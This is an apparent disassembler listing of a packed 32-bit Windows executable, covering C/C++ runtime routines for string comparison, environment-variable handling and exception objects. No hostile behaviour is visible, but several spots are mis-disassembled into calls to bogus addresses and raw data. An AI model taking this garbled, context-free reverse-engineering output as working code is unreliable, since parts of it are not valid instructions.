eax, offset dword_41D868 push eax push edi push eax push ebx push ebx call dword_41D008 ; CompareStringW test eax, eax jz short loc_41C165 mov dword_462EA8, edi jmp short loc_41C188 ; --------------------------------------------------------------------------- loc_41C165: ; CODE XREF: sub_41C115+46j push edi mov eax, offset dword_432704 push eax push edi push eax push ebx push ebx call dword_41D00C ; CompareStringA test eax, eax jz loc_41C37E mov dword_462EA8, 2 loc_41C188: ; CODE XREF: sub_41C115+31j ; sub_41C115+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_41C19F push esi push [ebp+arg_8] call sub_418865 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_41C19F: ; CODE XREF: sub_41C115+78j cmp [ebp+arg_14], ebx jle short loc_41C1B4 push [ebp+arg_14] push [ebp+arg_10] call sub_418865 pop ecx pop ecx mov [ebp+arg_14], eax loc_41C1B4: ; CODE XREF: sub_41C115+8Dj mov eax, dword_462EA8 cmp eax, 2 jnz short loc_41C1D9 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_41D00C ; CompareStringA jmp loc_41C380 ; --------------------------------------------------------------------------- loc_41C1D9: ; CODE XREF: sub_41C115+A7j cmp eax, edi jnz loc_41C37E cmp [ebp+arg_18], ebx jnz short loc_41C1EE mov eax, dword_462C68 mov [ebp+arg_18], eax loc_41C1EE: ; CODE XREF: sub_41C115+CFj cmp esi, ebx jz short loc_41C1FB cmp [ebp+arg_14], ebx jnz loc_41C293 loc_41C1FB: ; CODE XREF: sub_41C115+DBj cmp esi, [ebp+arg_14] jnz short loc_41C208 loc_41C200: ; CODE XREF: sub_41C115+16Dj push 2 loc_41C202: ; CODE XREF: sub_41C115+146j pop eax jmp loc_41C380 ; --------------------------------------------------------------------------- loc_41C208: ; CODE XREF: sub_41C115+E9j cmp [ebp+arg_14], edi jle short loc_41C214 loc_41C20D: ; CODE XREF: sub_41C115+151j ; sub_41C115+159j ... mov eax, edi jmp loc_41C380 ; --------------------------------------------------------------------------- loc_41C214: ; CODE XREF: sub_41C115+F6j cmp esi, edi jg short loc_41C259 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call near ptr 0AB0000h jmp far ptr 151h:840FC085h ; --------------------------------------------------------------------------- align 4 dd 7EF33B00h, 0C47D832Ch, 8D227202h, 5D38CA45h, 8A1A74CAh dd 0D33A0150h, 4D8B1374h, 3A098A10h, 3A047208h, 40AD76CAh dd 75183840h db 0E6h ; --------------------------------------------------------------------------- loc_41C259: ; CODE XREF: sub_41C115+101j push 3 jmp short loc_41C202 ; --------------------------------------------------------------------------- cmp [ebp+arg_14], ebx jle short loc_41C293 cmp [ebp+var_3C], 2 jb short loc_41C20D lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_41C20D loc_41C270: ; CODE XREF: sub_41C115+177j mov dl, [eax+1] cmp dl, bl jz short loc_41C20D mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_41C288 cmp cl, dl jbe loc_41C200 loc_41C288: ; CODE XREF: sub_41C115+169j inc eax inc eax cmp [eax], bl jnz short loc_41C270 jmp loc_41C20D ; --------------------------------------------------------------------------- loc_41C293: ; CODE XREF: sub_41C115+E0j ; sub_41C115+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call dword_41D130 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp eax, ebx jz loc_41C37E mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_412770 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41C2E2 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_41C2E2: ; CODE XREF: sub_41C115+1B5j cmp [ebp+var_24], ebx jz loc_41C37E push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_41D130 call esi ; dword_41D130 test eax, eax jz short loc_41C37E push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi ; dword_41D130 mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_41C37E mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_412770 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_41C34D ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_41C34D: ; CODE XREF: sub_41C115+224j cmp edi, ebx jz short loc_41C37E push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call dword_41D130 ; MultiByteToWideChar test eax, eax jz short loc_41C37E push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_41D008 ; CompareStringW jmp short loc_41C380 ; --------------------------------------------------------------------------- loc_41C37E: ; CODE XREF: sub_41C115+63j ; sub_41C115+C6j ... xor eax, eax loc_41C380: ; CODE XREF: sub_41C115+BFj ; sub_41C115+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41C115 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C392 proc near ; CODE XREF: sub_41C0A7+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_41C3F6 push 3Dh push [ebp+arg_0] call sub_41C5D8 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_41C3F6 cmp [ebp+arg_0], esi jz short loc_41C3F6 mov eax, dword_462BEC xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_462BF0 jnz short loc_41C3DC push eax call sub_41C571 pop ecx mov dword_462BEC, eax loc_41C3DC: ; CODE XREF: sub_41C392+3Cj cmp eax, edi jnz short loc_41C434 cmp [ebp+arg_4], edi jz short loc_41C3FE cmp dword_462BF4, edi jz short loc_41C3FE call sub_41C0A7 test eax, eax jz short loc_41C434 loc_41C3F6: ; CODE XREF: sub_41C392+Dj ; sub_41C392+22j ... or eax, 0FFFFFFFFh loc_41C3F9: ; CODE XREF: sub_41C392+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41C3FE: ; CODE XREF: sub_41C392+51j ; sub_41C392+59j cmp ebx, edi jnz loc_41C512 push 4 call sub_41279F cmp eax, edi pop ecx mov dword_462BEC, eax jz short loc_41C3F6 mov [eax], edi cmp dword_462BF4, edi jnz short loc_41C434 push 4 call sub_41279F cmp eax, edi pop ecx mov dword_462BF4, eax jz short loc_41C3F6 mov [eax], edi loc_41C434: ; CODE XREF: sub_41C392+4Cj ; sub_41C392+62j ... sub esi, [ebp+arg_0] mov edi, dword_462BEC mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_41C519 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_41C494 cmp dword ptr [edi], 0 jz short loc_41C494 test ebx, ebx jz short loc_41C48C push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_412813 pop ecx loc_41C466: ; CODE XREF: sub_41C392+E2j cmp dword ptr [edi], 0 jz short loc_41C476 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_41C466 ; --------------------------------------------------------------------------- loc_41C476: ; CODE XREF: sub_41C392+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_413D8F pop ecx test eax, eax pop ecx jz short loc_41C4C6 jmp short loc_41C4C1 ; --------------------------------------------------------------------------- loc_41C48C: ; CODE XREF: sub_41C392+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_41C4C6 ; --------------------------------------------------------------------------- loc_41C494: ; CODE XREF: sub_41C392+BDj ; sub_41C392+C2j test ebx, ebx jnz short loc_41C512 test esi, esi jge short loc_41C49E neg esi loc_41C49E: ; CODE XREF: sub_41C392+108j lea eax, ds:8[esi*4] push eax push edi call sub_413D8F pop ecx test eax, eax pop ecx jz loc_41C3F6 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_41C4C1: ; CODE XREF: sub_41C392+F8j mov dword_462BEC, eax loc_41C4C6: ; CODE XREF: sub_41C392+F6j ; sub_41C392+100j cmp [ebp+arg_4], 0 jz short loc_41C512 push [ebp+arg_0] call sub_4126F0 inc eax inc eax push eax call sub_41279F mov esi, eax pop ecx test esi, esi pop ecx jz short loc_41C512 push [ebp+arg_0] push esi call sub_412600 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call near ptr 0AB0000h icebp push esi call sub_412813 pop ecx loc_41C512: ; CODE XREF: sub_41C392+6Ej ; sub_41C392+104j ... xor eax, eax jmp loc_41C3F9 sub_41C392 endp ; =============== S U B R O U T I N E ======================================= sub_41C519 proc near ; CODE XREF: sub_41C392+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_462BEC push edi mov eax, [esi] test eax, eax jz short loc_41C554 mov edi, [esp+8+arg_4] loc_41C52B: ; CODE XREF: sub_41C519+39j push edi push eax push [esp+10h+arg_0] call sub_41C068 add esp, 0Ch test eax, eax jnz short loc_41C54A mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_41C564 test al, al jz short loc_41C564 loc_41C54A: ; CODE XREF: sub_41C519+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_41C52B loc_41C554: ; CODE XREF: sub_41C519+Cj mov eax, esi sub eax, dword_462BEC sar eax, 2 neg eax loc_41C561: ; CODE XREF: sub_41C519+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41C564: ; CODE XREF: sub_41C519+2Bj ; sub_41C519+2Fj mov eax, esi sub eax, dword_462BEC sar eax, 2 jmp short loc_41C561 sub_41C519 endp ; =============== S U B R O U T I N E ======================================= sub_41C571 proc near ; CODE XREF: sub_41C392+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_41C580 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_41C580: ; CODE XREF: sub_41C571+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_41C592 loc_41C588: ; CODE XREF: sub_41C571+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_41C588 loc_41C592: ; CODE XREF: sub_41C571+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41279F mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_41C5B3 push 9 call sub_4144BE pop ecx loc_41C5B3: ; CODE XREF: sub_41C571+38j mov eax, [edi] mov ebx, edi loc_41C5B7: ; CODE XREF: sub_41C571+5Bj test eax, eax jz short loc_41C5CE push eax add ebx, 4 call sub_41C64B mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_41C5B7 ; --------------------------------------------------------------------------- loc_41C5CE: ; CODE XREF: sub_41C571+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_41C571 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C5D8 proc near ; CODE XREF: sub_41C392+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_463FFC, 0 jnz short loc_41C5F3 push [ebp+arg_4] push [ebp+arg_0] call sub_414140 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_41C5F3: ; CODE XREF: sub_41C5D8+Aj mov ecx, [ebp+arg_0] loc_41C5F6: ; CODE XREF: sub_41C5D8+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_41C639 movzx edx, al test byte_464101[edx], 4 jz short loc_41C625 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_41C630 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_41C634 jmp short loc_41C62D ; --------------------------------------------------------------------------- loc_41C625: ; CODE XREF: sub_41C5D8+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_41C639 loc_41C62D: ; CODE XREF: sub_41C5D8+4Bj inc ecx jmp short loc_41C5F6 ; --------------------------------------------------------------------------- loc_41C630: ; CODE XREF: sub_41C5D8+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_41C634: ; CODE XREF: sub_41C5D8+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_41C639: ; CODE XREF: sub_41C5D8+25j ; sub_41C5D8+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_41C5D8 endp ; =============== S U B R O U T I N E ======================================= sub_41C64B proc near ; CODE XREF: sub_40787E+21p ; sub_41C571+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_41C672 push esi call sub_4126F0 inc eax push eax call sub_41279F pop ecx test eax, eax pop ecx jz short loc_41C672 push esi push eax call sub_412600 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41C672: ; CODE XREF: sub_41C64B+7j ; sub_41C64B+1Aj xor eax, eax pop esi retn sub_41C64B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C680 proc near ; CODE XREF: sub_4034C7+15p ; sub_403520+15p ... mov eax, offset loc_41CB70 call sub_412E30 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_4036CA mov esi, offset aStringTooLong ; "string too long" push esi call sub_4126F0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_403706 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41C6DA lea eax, [ebp-3Ch] push offset dword_41DF78 push eax mov dword ptr [ebp-3Ch], offset off_41DC34 call sub_41CAD9 pop esi sub_41C680 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C6DA proc near ; CODE XREF: sub_41C680+3Fp ; sub_41C8AC+3Fp mov eax, offset loc_41CB84 call sub_412E30 push ecx push ecx push ebx push esi lea eax, [ebp-10h] push edi mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset byte_432708 call sub_41C9FE mov ebx, [ebp+8] and dword ptr [ebp-4], 0 lea edi, [esi+0Ch] push 0 mov al, [ebx] mov ecx, edi mov [edi], al call sub_4036CA push dword_41D240 mov ecx, edi push 0 push ebx call sub_403577 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_41DC54 mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_41C6DA endp ; =============== S U B R O U T I N E ======================================= sub_41C73E proc near ; DATA XREF: .nsp0:0041DC38o ; .nsp0:0041DC58o ... mov eax, [ecx+10h] test eax, eax jnz short locret_41C74A mov eax, offset dword_41D250 locret_41C74A: ; CODE XREF: sub_41C73E+5j retn sub_41C73E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C74B proc near ; DATA XREF: .nsp0:0041DC5Co var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41C7C1 lea eax, [ebp+var_1C] push offset dword_41DFE8 push eax call sub_41CAD9 sub_41C74B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C768 proc near ; CODE XREF: .nsp0:0041C7A8p ; DATA XREF: .nsp0:0041DFECo mov eax, offset loc_41CB98 call sub_412E30 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_41DC54 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_4036CA or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_41CA85 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41C768 endp ; --------------------------------------------------------------------------- loc_41C7A5: ; DATA XREF: .nsp0:off_41DC54o push esi mov esi, ecx call sub_41C768 test byte ptr [esp+8], 1 jz short loc_41C7BB push esi call sub_412E4F pop ecx loc_41C7BB: ; CODE XREF: .nsp0:0041C7B2j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_41C7C1 proc near ; CODE XREF: sub_41C74B+Ap ; sub_41C894+7p ... mov eax, offset loc_41CBAC call sub_412E30 push ecx push ebx mov ebx, [ebp+8] push esi push edi mov esi, ecx push ebx mov [ebp-10h], esi call sub_41CA3B mov al, [ebx+0Ch] and dword ptr [ebp-4], 0 add ebx, 0Ch lea edi, [esi+0Ch] push 0 mov ecx, edi mov [edi], al call sub_4036CA push dword_41D240 mov ecx, edi push 0 push ebx call sub_403577 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_41DC54 mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_41C7C1 endp ; =============== S U B R O U T I N E ======================================= sub_41C81E proc near ; CODE XREF: sub_41C85B+20p ; DATA XREF: .nsp0:0041DF7Co mov eax, offset loc_41CBC0 call sub_412E30 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_41DC54 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_4036CA or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_41CA85 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41C81E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C85B proc near ; DATA XREF: .nsp0:0041DC3Co var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41C894 lea eax, [ebp+var_1C] push offset dword_41DF78 push eax call sub_41CAD9 loc_41C878: ; DATA XREF: .nsp0:off_41DC34o push esi mov esi, ecx call sub_41C81E test [esp+20h+var_18], 1 jz short loc_41C88E push esi call sub_412E4F pop ecx loc_41C88E: ; CODE XREF: sub_41C85B+2Aj mov eax, esi pop esi retn 4 sub_41C85B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C894 proc near ; CODE XREF: sub_41C85B+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41C7C1 mov dword ptr [esi], offset off_41DC34 mov eax, esi pop esi retn 4 sub_41C894 endp ; =============== S U B R O U T I N E ======================================= sub_41C8AC proc near ; CODE XREF: sub_403577+13p ; sub_40373B+Ep mov eax, offset loc_41CBD4 call sub_412E30 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_4036CA mov esi, offset aInvalidStringP ; "invalid string position" push esi call sub_4126F0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_403706 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41C6DA lea eax, [ebp-3Ch] push offset dword_41E0A0 push eax mov dword ptr [ebp-3Ch], offset off_41DC64 call sub_41CAD9 pop esi sub_41C8AC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C906 proc near ; CODE XREF: sub_41C943+20p ; DATA XREF: .nsp0:0041E0A4o mov eax, offset loc_41CBE8 call sub_412E30 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_41DC54 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_4036CA or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_41CA85 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41C906 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C943 proc near ; DATA XREF: .nsp0:0041DC6Co var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41C97C lea eax, [ebp+var_1C] push offset dword_41E0A0 push eax call sub_41CAD9 loc_41C960: ; DATA XREF: .nsp0:off_41DC64o push esi mov esi, ecx call sub_41C906 test [esp+20h+var_18], 1 jz short loc_41C976 push esi call sub_412E4F pop ecx loc_41C976: ; CODE XREF: sub_41C943+2Aj mov eax, esi pop esi retn 4 sub_41C943 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C97C proc near ; CODE XREF: sub_41C943+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41C7C1 mov dword ptr [esi], offset off_41DC64 mov eax, esi pop esi retn 4 sub_41C97C endp ; =============== S U B R O U T I N E ======================================= sub_41C994 proc near ; DATA XREF: .nsp0:0041F008o ; FUNCTION CHUNK AT 0041C9CA SIZE 0000000C BYTES test byte_462EAC, 1 jnz short loc_41C9A4 or byte_462EAC, 1 loc_41C9A4: ; CODE XREF: sub_41C994+7j call sub_41C9BE test byte_464238, 1 jnz short loc_41C9B9 or byte_464238, 1 loc_41C9B9: ; CODE XREF: sub_41C994+1Cj jmp loc_41C9CA sub_41C994 endp ; =============== S U B R O U T I N E ======================================= sub_41C9BE proc near ; CODE XREF: sub_41C994:loc_41C9A4p push offset nullsub_1 call sub_413210 pop ecx retn sub_41C9BE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C994 loc_41C9CA: ; CODE XREF: sub_41C994:loc_41C9B9j push offset nullsub_1 call sub_413210 pop ecx retn ; END OF FUNCTION CHUNK FOR sub_41C994 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41C9D6 proc near ; CODE XREF: sub_402E17+5Ep ; sub_403A5B+159p jmp dword_41D1E4 sub_41C9D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41C9DC proc near ; CODE XREF: sub_412A9C+23p ; sub_412D40+13p jmp dword_41D14C sub_41C9DC endp ; =============== S U B R O U T I N E ======================================= sub_41C9E2 proc near ; DATA XREF: .nsp0:off_41DC8Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_41CA85 test [esp+4+arg_0], 1 jz short loc_41C9F8 push esi call sub_412E4F pop ecx loc_41C9F8: ; CODE XREF: sub_41C9E2+Dj mov eax, esi pop esi retn 4 sub_41C9E2 endp ; =============== S U B R O U T I N E ======================================= sub_41C9FE proc near ; CODE XREF: sub_41C6DA+1Fp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_41DC8C push dword ptr [edi] call sub_4126F0 inc eax push eax call sub_413195 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_41CA2D push dword ptr [edi] push eax call sub_412600 pop ecx pop ecx loc_41CA2D: ; CODE XREF: sub_41C9FE+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_41C9FE endp ; =============== S U B R O U T I N E ======================================= sub_41CA3B proc near ; CODE XREF: sub_41C7C1+17p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_41DC8C mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_41CA78 push dword ptr [edi+4] call sub_4126F0 inc eax push eax call sub_413195 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_41CA7E push dword ptr [edi+4] push eax call sub_412600 pop ecx pop ecx jmp short loc_41CA7E ; --------------------------------------------------------------------------- loc_41CA78: ; CODE XREF: sub_41CA3B+16j mov eax, [edi+4] mov [esi+4], eax loc_41CA7E: ; CODE XREF: sub_41CA3B+2Ej ; sub_41CA3B+3Bj mov eax, esi pop edi pop esi retn 4 sub_41CA3B endp ; =============== S U B R O U T I N E ======================================= sub_41CA85 proc near ; CODE XREF: sub_41C768+2Bp ; sub_41C81E+2Bp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_41DC8C jz short locret_41CA9A push dword ptr [ecx+4] call sub_412E4F pop ecx locret_41CA9A: ; CODE XREF: sub_41CA85+Aj retn sub_41CA85 endp ; --------------------------------------------------------------------------- mov eax, [ecx+4] test eax, eax jnz short locret_41CAA7 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_41CAA7: ; CODE XREF: .nsp0:0041CAA0j retn ; =============== S U B R O U T I N E ======================================= sub_41CAA8 proc near ; CODE XREF: .nsp0:0041CAC0p mov dword ptr [ecx], offset off_41DCAC mov ecx, [ecx+4] test ecx, ecx jz short locret_41CABC push ecx call sub_412813 pop ecx locret_41CABC: ; CODE XREF: sub_41CAA8+Bj retn sub_41CAA8 endp ; --------------------------------------------------------------------------- loc_41CABD: ; DATA XREF: .nsp0:off_41DCACo push esi mov esi, ecx call sub_41CAA8 test byte ptr [esp+8], 1 jz short loc_41CAD3 push esi call sub_412E4F pop ecx loc_41CAD3: ; CODE XREF: .nsp0:0041CACAj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAD9 proc near ; CODE XREF: sub_41C680+54p ; sub_41C74B+18p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_41DCB0 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call dword_41D17C ; RaiseException pop edi pop esi leave retn 8 sub_41CAD9 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41CB14 proc near ; DATA XREF: .nsp0:0041DE7Co ; FUNCTION CHUNK AT 004034BF SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_4034BF sub_41CB14 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_41CB32 mov ecx, [ebp+8] jmp loc_4034BF ; --------------------------------------------------------------------------- locret_41CB32: ; CODE XREF: .nsp0:0041CB24j retn ; --------------------------------------------------------------------------- loc_41CB33: ; DATA XREF: sub_403053o mov eax, offset dword_41DE50 jmp loc_412AEB ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+14h] jmp loc_4034BF ; --------------------------------------------------------------------------- lea ecx, [ebp-1Ch] jmp loc_4034BF ; --------------------------------------------------------------------------- loc_41CB50: ; DATA XREF: sub_4031F5o mov eax, offset dword_41DE80 jmp loc_412AEB ; --------------------------------------------------------------------------- align 4 loc_41CB5C: ; DATA XREF: sub_4037A2o mov eax, offset dword_41DEB0 jmp loc_412AEB ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_4034BF ; --------------------------------------------------------------------------- loc_41CB70: ; DATA XREF: sub_41C680o mov eax, offset dword_41DF88 jmp loc_412AEB ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-14h] jmp sub_41CA85 ; --------------------------------------------------------------------------- loc_41CB84: ; DATA XREF: sub_41C6DAo mov eax, offset dword_41DFB0 jmp loc_412AEB ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_41CA85 ; --------------------------------------------------------------------------- loc_41CB98: ; DATA XREF: sub_41C768o mov eax, offset dword_41DFF8 jmp loc_412AEB ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_41CA85 ; --------------------------------------------------------------------------- loc_41CBAC: ; DATA XREF: sub_41C7C1o mov eax, offset dword_41E020 jmp loc_412AEB ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_41CA85 ; --------------------------------------------------------------------------- loc_41CBC0: ; DATA XREF: sub_41C81Eo mov eax, offset dword_41E048 jmp loc_412AEB ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_4034BF ; --------------------------------------------------------------------------- loc_41CBD4: ; DATA XREF: sub_41C8ACo mov eax, offset dword_41E0B0 jmp loc_412AEB ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_41CA85 ; --------------------------------------------------------------------------- loc_41CBE8: ; DATA XREF: sub_41C906o mov eax, offset dword_41E0D8 jmp loc_412AEB ; --------------------------------------------------------------------------- align 4 dd 103h dup(0) dd 7C80DDFEh, 7C833478h dword_41D008 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_41C115+261r dword_41D00C dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_41C115+B9r dd 7C832044h, 7C80BCCFh, 7C809E01h dword_41D01C dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_41A826+6r dd 7C812641h, 7C81DC03h dword_41D028 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; .nsp0:00419BF1r dd 7C838A0Ch, 7C810E51h, 7C812F39h, 7C80CC97h dword_41D03C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_41D040 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_419243+E1r dd 7C80C058h dword_41D048 dd 